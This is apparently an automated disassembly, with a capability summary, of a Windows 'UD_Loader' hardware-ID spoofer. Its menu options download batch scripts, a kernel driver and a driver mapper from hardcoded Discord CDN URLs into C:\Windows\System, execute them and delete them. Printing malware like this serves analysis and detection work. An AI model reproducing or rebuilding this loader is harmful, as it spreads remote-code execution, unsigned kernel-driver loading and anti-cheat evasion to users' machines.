Function at 0x140001180
Capabilities:
Delete file
Download url
Execute command
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx ecx, word [rsp + 0x46]
sub cx, word [rsp + 0x42]
inc cx
mov word [rsp + 0x30], cx
movzx ecx, word [rsp + 0x48]
sub cx, word [rsp + 0x44]
inc cx
mov word [rsp + 0x32], cx
mov edx, dword [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xfffffff0
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
btr eax, 0x12
mov r8d, eax
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongW]
lea rcx, str.UD_Loader
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xffffffec
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
mov edx, 0xffffffec
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov edi, 2
mov r9d, edi
mov r8b, 0xc8
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, di
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, 0x2bc
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea ecx, [rdi + 0x1e]
call fcn.140001b20
mov rsi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], 0x1a
mov qword [rsp + 0x68], 0x1f
movups xmm0, xmmword [str.Super_Spoofer__Undetected]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140003438]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140003440]
mov word [rax + 0x18], cx
mov byte [rax + 0x1a], 0
mov rbx, rax
nop
movzx edx, byte [rbx]
test dl, dl
je 0x140001313
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov ecx, 0x19
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
jmp 0x1400012f0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov ecx, 0x30
call fcn.140001b20
mov rdi, rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x80], 0x2a
mov qword [rsp + 0x88], 0x2f
movups xmm0, xmmword [str._n_n_1__Temp_n_2__Clean_n_3__Serials_n_4__Exit]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140003458]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140003468]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [0x140003470]
mov word [rax + 0x28], cx
mov byte [rax + 0x2a], 0
mov rbx, rax
movzx edx, byte [rbx]
test dl, dl
je 0x1400013a7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov ecx, 0x19
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
jmp 0x140001384
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
movsx ecx, al
sub ecx, 0x31
je 0x1400014e6
sub ecx, 1
je 0x140001457
sub ecx, 1
je 0x1400013e8
cmp ecx, 1
je 0x14000162b
lea rdx, str.Invalid_choice_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
jmp 0x1400015e9
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [0x1400038b8]
lea rdx, str.https:__cdn.discordapp.com_attachments_1172329518170644483_1174172340410658897_Serials.bat_ex6566a035is65542b35hm028ef58af0f44f0e3518ec5bb865cd07b1ded678b24c6f7c6c74216233f997c1
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsSystemSerials.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Redirecting_in_3_seconds...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call main
jmp 0x1400015e9
lea rdx, str.Cleaning..._n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [0x140003aa0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1172329518170644483_1174128415788498954_Final_Cleaner.bat_ex6566774cis6554024chm938a468166a6f847402e7d7a4609e43cf8ad2bebe3d1ce563ccf54a9e2ec5575
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:WindowsSystemFinal_Cleaner.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Redirecting_in_3_seconds...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystemFinal_Cleaner.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call main
jmp 0x1400015e9
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing..._n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [0x1400034a0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1172329518170644483_1174159701039128646_temp.sys_ex6566946fis65541f6fhm1c5ea1009a6f23021e7643b31abeb397ee479546f129310d8cfeba1415e06f0f
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [0x140003650]
lea rdx, str.https:__cdn.discordapp.com_attachments_1172329518170644483_1174170891572228126_map.exe_ex65669edbis655429dbhmc71162a5ee0f08b7e5c88548b7aa79099563caaf04c976fd684d21b8465dbbf8
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.cd_C:WindowsSystem
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystemmap.exe_C:WindowsSystem_temp.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x2bc
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, str.Spoofed_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem_temp.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystemmap.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str.Redirecting_in_3_seconds...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400018b0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003488]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov edx, 0x30
mov rcx, rdi
call fcn.140001b5c
nop
mov edx, 0x20
mov rcx, rsi
call fcn.140001b5c
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140001b00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140001640
nop
int3